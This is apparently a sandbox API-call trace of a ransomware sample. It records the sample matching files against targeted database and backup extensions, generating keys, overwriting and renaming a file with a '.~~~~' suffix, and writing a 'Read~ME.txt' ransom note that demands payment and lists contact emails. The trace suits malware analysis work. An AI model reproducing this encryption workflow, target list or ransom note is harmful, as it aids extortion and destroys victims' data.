	[0085.276] lstrlenW (lpString=".DBT") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.276] lstrlenW (lpString=".ACCDB") returned 6
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.276] lstrlenW (lpString=".fdb") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.276] lstrlenW (lpString=".bak") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.277] lstrlenW (lpString=".myd") returned 4
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.277] lstrlenW (lpString=".DTXS") returned 5
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.277] lstrlenW (lpString=".ckp") returned 4
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.277] lstrlenW (lpString=".dbt") returned 4
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.277] lstrlenW (lpString=".db") returned 3
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.277] lstrlenW (lpString=".TXT") returned 4
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.277] lstrlenW (lpString=".MDF") returned 4
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.277] lstrlenW (lpString=".bdb") returned 4
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.277] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.277] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.278] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.278] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0085.279] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20526880092) returned 1
	[0085.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ca61490, dwHighDateTime=0x1d60e1e)) 
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ceb0
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ceb0 | out: hHeap=0x300000) returned 1
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28089c0
	[0085.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28089c0 | out: hHeap=0x300000) returned 1
	[0085.279] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.280] GetLastError () returned 0x0
	[0085.280] GetLastError () returned 0x0
	[0085.280] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.280] GetLastError () returned 0x0
	[0085.280] GetLastError () returned 0x0
	[0085.282] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbe9e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.282] WriteFile (in: hFile=0x11c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x4162, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x4162, lpOverlapped=0x0) returned 1
	[0085.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.283] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.283] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.283] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.283] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.283] CloseHandle (hObject=0x11c) returned 1
	[0085.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7388
	[0085.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.~~~~")) returned 1
	[0085.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7388 | out: hHeap=0x300000) returned 1
	[0085.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.285] GetLastError () returned 0x0
	[0085.285] RtlWakeConditionVariable () returned 0x365f70
	[0085.285] GetCurrentThreadId () returned 0x3a4
	[0085.285] GetCurrentThreadId () returned 0x3a4
	[0085.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0085.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3f20 | out: hHeap=0x300000) returned 1
	[0085.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce78 | out: hHeap=0x300000) returned 1
	[0085.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3f20
	[0085.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0085.370] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.370] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.371] CloseHandle (hObject=0x128) returned 1
	[0085.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3f20 | out: hHeap=0x300000) returned 1
	[0085.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28089c0 | out: hHeap=0x300000) returned 1
	[0085.372] RtlWakeConditionVariable () returned 0x365f70
	[0085.372] GetCurrentThreadId () returned 0x3a4
	[0085.372] GetCurrentThreadId () returned 0x3a4
	[0085.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0085.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3bd8 | out: hHeap=0x300000) returned 1
	[0085.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf90 | out: hHeap=0x300000) returned 1
	[0085.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3bd8
	[0085.373] lstrlenW (lpString=".scr") returned 4
	[0085.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".scr") returned 0x0
	[0085.373] lstrlenW (lpString=".cmd") returned 4
	[0085.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".cmd") returned 0x0
	[0085.373] lstrlenW (lpString=".dll") returned 4
	[0085.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dll") returned 0x0
	[0085.373] lstrlenW (lpString=".bat") returned 4
	[0085.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".bat") returned 0x0
	[0085.373] lstrlenW (lpString=".cpl") returned 4
	[0085.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".cpl") returned 0x0
	[0085.374] lstrlenW (lpString=".sys") returned 4
	[0085.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".sys") returned 0x0
	[0085.374] lstrlenW (lpString=".msc") returned 4
	[0085.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".msc") returned 0x0
	[0085.374] lstrlenW (lpString=".com") returned 4
	[0085.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".com") returned 0x0
	[0085.375] lstrlenW (lpString=".lnk") returned 4
	[0085.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".lnk") returned 0x0
	[0085.375] lstrlenW (lpString=".msp") returned 4
	[0085.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".msp") returned 0x0
	[0085.375] lstrlenW (lpString=".pif") returned 4
	[0085.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".pif") returned 0x0
	[0085.375] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.475] lstrlenW (lpString=".sqb") returned 4
	[0085.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".sqb") returned 0x0
	[0085.475] lstrlenW (lpString=".ost") returned 4
	[0085.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".ost") returned 0x0
	[0085.475] lstrlenW (lpString=".txt") returned 4
	[0085.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".txt") returned 0x0
	[0085.475] lstrlenW (lpString=".mdt") returned 4
	[0085.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".mdt") returned 0x0
	[0085.476] lstrlenW (lpString=".BDB") returned 4
	[0085.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".BDB") returned 0x0
	[0085.477] lstrlenW (lpString=".eql") returned 4
	[0085.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".eql") returned 0x0
	[0085.477] lstrlenW (lpString=".DBF") returned 4
	[0085.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DBF") returned 0x0
	[0085.477] lstrlenW (lpString=".EQL") returned 4
	[0085.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".EQL") returned 0x0
	[0085.478] lstrlenW (lpString=".FDB") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".FDB") returned 0x0
	[0085.478] lstrlenW (lpString=".EDB") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".EDB") returned 0x0
	[0085.478] lstrlenW (lpString=".DACPAC") returned 7
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DACPAC") returned 0x0
	[0085.478] lstrlenW (lpString=".VHD") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".VHD") returned 0x0
	[0085.478] lstrlenW (lpString=".DBV") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DBV") returned 0x0
	[0085.478] lstrlenW (lpString=".dacpac") returned 7
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dacpac") returned 0x0
	[0085.478] lstrlenW (lpString=".sdf") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".sdf") returned 0x0
	[0085.478] lstrlenW (lpString=".accdb") returned 6
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".accdb") returned 0x0
	[0085.478] lstrlenW (lpString=".DBX") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DBX") returned 0x0
	[0085.478] lstrlenW (lpString=".MDT") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".MDT") returned 0x0
	[0085.478] lstrlenW (lpString=".SQB") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".SQB") returned 0x0
	[0085.478] lstrlenW (lpString=".vhd") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".vhd") returned 0x0
	[0085.478] lstrlenW (lpString=".bac") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".bac") returned 0x0
	[0085.478] lstrlenW (lpString=".mdf") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".mdf") returned 0x0
	[0085.478] lstrlenW (lpString=".BAK") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".BAK") returned 0x0
	[0085.478] lstrlenW (lpString=".BAC") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".BAC") returned 0x0
	[0085.478] lstrlenW (lpString=".dbs") returned 4
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dbs") returned 0x0
	[0085.478] lstrlenW (lpString=".vhdx") returned 5
	[0085.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".vhdx") returned 0x0
	[0085.479] lstrlenW (lpString=".NDF") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".NDF") returned 0x0
	[0085.479] lstrlenW (lpString=".dat") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dat") returned 0x0
	[0085.479] lstrlenW (lpString=".DBS") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DBS") returned 0x0
	[0085.479] lstrlenW (lpString=".CKP") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".CKP") returned 0x0
	[0085.479] lstrlenW (lpString=".edb") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".edb") returned 0x0
	[0085.479] lstrlenW (lpString=".PST") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".PST") returned 0x0
	[0085.479] lstrlenW (lpString=".dbf") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dbf") returned 0x0
	[0085.479] lstrlenW (lpString=".SQL") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".SQL") returned 0x0
	[0085.479] lstrlenW (lpString=".pst") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".pst") returned 0x0
	[0085.479] lstrlenW (lpString=".dbv") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dbv") returned 0x0
	[0085.479] lstrlenW (lpString=".SDF") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".SDF") returned 0x0
	[0085.479] lstrlenW (lpString=".dtxs") returned 5
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dtxs") returned 0x0
	[0085.479] lstrlenW (lpString=".db3") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".db3") returned 0x0
	[0085.479] lstrlenW (lpString=".OST") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".OST") returned 0x0
	[0085.479] lstrlenW (lpString=".dbx") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dbx") returned 0x0
	[0085.479] lstrlenW (lpString=".DB3") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DB3") returned 0x0
	[0085.479] lstrlenW (lpString=".DAT") returned 4
	[0085.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DAT") returned 0x0
	[0085.479] lstrlenW (lpString=".VHDX") returned 5
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".VHDX") returned 0x0
	[0085.480] lstrlenW (lpString=".ndf") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".ndf") returned 0x0
	[0085.480] lstrlenW (lpString=".DB") returned 3
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DB") returned 0x0
	[0085.480] lstrlenW (lpString=".sql") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".sql") returned 0x0
	[0085.480] lstrlenW (lpString=".MYD") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".MYD") returned 0x0
	[0085.480] lstrlenW (lpString=".DBT") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DBT") returned 0x0
	[0085.480] lstrlenW (lpString=".ACCDB") returned 6
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".ACCDB") returned 0x0
	[0085.480] lstrlenW (lpString=".fdb") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".fdb") returned 0x0
	[0085.480] lstrlenW (lpString=".bak") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".bak") returned 0x0
	[0085.480] lstrlenW (lpString=".myd") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".myd") returned 0x0
	[0085.480] lstrlenW (lpString=".DTXS") returned 5
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".DTXS") returned 0x0
	[0085.480] lstrlenW (lpString=".ckp") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".ckp") returned 0x0
	[0085.480] lstrlenW (lpString=".dbt") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".dbt") returned 0x0
	[0085.480] lstrlenW (lpString=".db") returned 3
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".db") returned 0x0
	[0085.480] lstrlenW (lpString=".TXT") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".TXT") returned 0x0
	[0085.480] lstrlenW (lpString=".MDF") returned 4
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".MDF") returned 0x0
	[0085.480] lstrlenW (lpString=".bdb") returned 4
